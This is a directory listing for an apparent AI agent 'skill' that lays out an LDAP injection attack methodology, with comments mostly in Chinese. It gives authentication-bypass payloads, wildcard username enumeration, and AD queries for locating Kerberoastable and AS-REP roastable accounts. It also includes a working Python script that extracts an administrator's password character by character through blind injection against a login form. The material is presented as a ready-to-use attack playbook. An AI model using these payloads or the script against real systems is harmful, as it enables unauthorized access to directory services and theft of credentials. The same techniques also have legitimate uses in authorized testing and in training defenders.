SuperAPI AI Directory

ldap-injection

General & other

View repository

Updated 10-16 05:48

About this skill

LDAP Injection Methodology

LDAP (Lightweight Directory Access Protocol) is widely used for enterprise user authentication and directory queries. When an application concatenates user input directly into an LDAP search filter, an attacker can modify the query logic to bypass authentication or extract directory data.

Phase 0: Identify the LDAP Backend

Signal Meaning
The login form has "domain\username" or "user@domain.com" format May be LDAP/AD authentication
Ports 389 (LDAP)/636 (LDAPS)/3268 (Global Catalog) open Confirm LDAP service
Error message contains LDAP、javax.naming、ldap_bind Confirm LDAP backend
The URL parameters contain uid、cn、ou、dc、sAMAccountName LDAP attribute name
Web applications using Active Directory integrated authentication LDAP query

LDAP Filter Syntax Quick Reference

LDAP uses prefix notation (Polish notation):

# 基础
(uid=john)                    # uid 等于 john
(cn=John Smith)               # cn 等于 John Smith

# 通配符
(uid=j*)                      # uid 以 j 开头
(uid=*john*)                  # uid 包含 john

# 逻辑操作
(&(uid=john)(password=pass))  # AND
(|(uid=john)(uid=admin))      # OR
(!(uid=guest))                # NOT

# 组合
(&(objectClass=user)(|(uid=john)(uid=admin)))

Phase 1: Authentication Bypass

1.1 Basic Injection

Assume the backend query is:(&(uid=INPUT_USER)(userPassword=INPUT_PASS))

# 注入用户名字段
用户名: *)(uid=*))(|(uid=*
密码: anything
→ 查询变为: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
→ 第一个过滤器 (uid=*) 匹配所有用户

# 或更简单:
用户名: *
密码: *
→ (&(uid=*)(userPassword=*)) → 匹配所有有密码的用户

# 闭合括号绕过
用户名: admin)(&)
密码: anything
→ (&(uid=admin)(&))(userPassword=anything)
→ (&) 是 LDAP 的 TRUE,永远为真

# 注释截断(某些实现支持)
用户名: admin)%00
密码: anything
→ (&(uid=admin)\x00)(userPassword=anything)
→ NULL 字节截断后面的密码检查

1.2 Wildcard Authentication Bypass

# 如果只知道用户名前缀
用户名: adm*
密码: *
→ (&(uid=adm*)(userPassword=*)) → 匹配 admin/administrator 等

# 枚举有效用户名
用户名: a* → 有响应?用户名以 a 开头
用户名: ad* → 有响应?用户名以 ad 开头
用户名: adm* → 有响应?...

1.3 OR Injection

# 注入 OR 条件
用户名: admin)(|(password=*
密码: anything
→ (&(uid=admin)(|(password=*)(userPassword=anything)))
→ OR 条件使密码检查无效

# 另一种 OR 绕过
用户名: *)(|(objectClass=*
密码: test)
→ (&(uid=*)(|(objectClass=*)(userPassword=test)))

Phase 2: Data Extraction (Blind Injection)

2.1 Attribute Value Blind Injection

Guess attribute values character by character via wildcards:

# 猜测 admin 的密码
(&(uid=admin)(userPassword=a*))  → 响应不同?密码以 a 开头
(&(uid=admin)(userPassword=ab*)) → 继续...
(&(uid=admin)(userPassword=abc*))

# 猜测 description 字段(可能含敏感信息)
(&(uid=admin)(description=flag*))
(&(uid=admin)(description=flag{*))

2.2 Attribute Existence Probing

# 探测用户有哪些属性
(&(uid=admin)(telephoneNumber=*))  → 有电话号码?
(&(uid=admin)(mail=*))             → 有邮箱?
(&(uid=admin)(userPassword=*))     → 有密码?
(&(uid=admin)(sshPublicKey=*))     → 有 SSH 公钥?

# AD 环境特有属性
(&(sAMAccountName=admin)(adminCount=1))      → 是管理员?
(&(sAMAccountName=admin)(memberOf=*admin*))  → 在管理组中?

2.3 Automated Blind Injection Script

#!/usr/bin/env python3
"""LDAP 盲注数据提取"""
import requests
import string

URL = "http://TARGET/login"
CHARSET = string.ascii_lowercase + string.digits + "_{}-@."
ATTR = "userPassword"

def check(username_payload):
    """发送 LDAP 注入请求"""
    data = {
        "username": username_payload,
        "password": "anything"
    }
    r = requests.post(URL, data=data)
    # 根据响应差异判断(长度/内容/状态码/重定向)
    return "Welcome" in r.text or r.status_code == 302

def extract(target_user, attribute):
    """逐字符提取属性值"""
    result = ""
    while True:
        found = False
        for c in CHARSET:
            # 注入: admin)(ATTR=result+c*
            payload = f"{target_user})({attribute}={result}{c}*"
            if check(payload):
                result += c
                print(f"[+] {attribute}: {result}")
                found = True
                break
        if not found:
            break
    return result

if __name__ == "__main__":
    pwd = extract("admin", "userPassword")
    print(f"[+] Extracted: {pwd}")

Phase 3: Directory Traversal

If the injection point is in a search query (not authentication):

# 提取所有用户
(&(objectClass=user)(uid=*))

# 提取管理员
(&(objectClass=user)(adminCount=1))

# 提取服务账户
(&(objectClass=user)(servicePrincipalName=*))

# 提取计算机
(&(objectClass=computer)(cn=*))

# 搜索特定组的成员
(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))

Phase 4: Special Techniques

4.1 NULL Byte Truncation

# 某些 LDAP 实现(如 OpenLDAP 旧版)支持 NULL 字节截断
admin)%00
→ 截断后面的密码过滤器

4.2 Special Character Escape Bypass

Characters that LDAP requires to be escaped:* ( ) \ NUL

# 如果应用转义了 *,尝试:
\2a  →  * 的十六进制转义
\28  →  ( 的十六进制转义
\29  →  ) 的十六进制转义

4.3 Combining LDAP with AD

If the LDAP backend is Active Directory:

# 获取域管列表
(&(objectCategory=person)(adminCount=1))

# 获取 Kerberoastable 账户
(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))

# 获取 AS-REP Roastable 账户  
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

# 获取密码永不过期账户
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))

Decision Tree

发现 LDAP 认证入口
├── 尝试 */* → 认证绕过?
├── 尝试 admin)(&)/ → 闭合+TRUE 绕过?
├── 尝试 admin)%00/ → NULL 截断?
├── 以上都失败
│   ├── 检查错误信息 → 确认是否 LDAP
│   ├── 检查通配符 a*/b*/c* → 用户名枚举
│   └── 非 LDAP → 尝试 SQL 注入
└── 认证成功或有注入点
    ├── 盲注提取密码/属性
    ├── 遍历目录(用户/组/计算机)
    └── AD 环境 → Kerberoast/AS-REP 目标发现

In-Depth Reference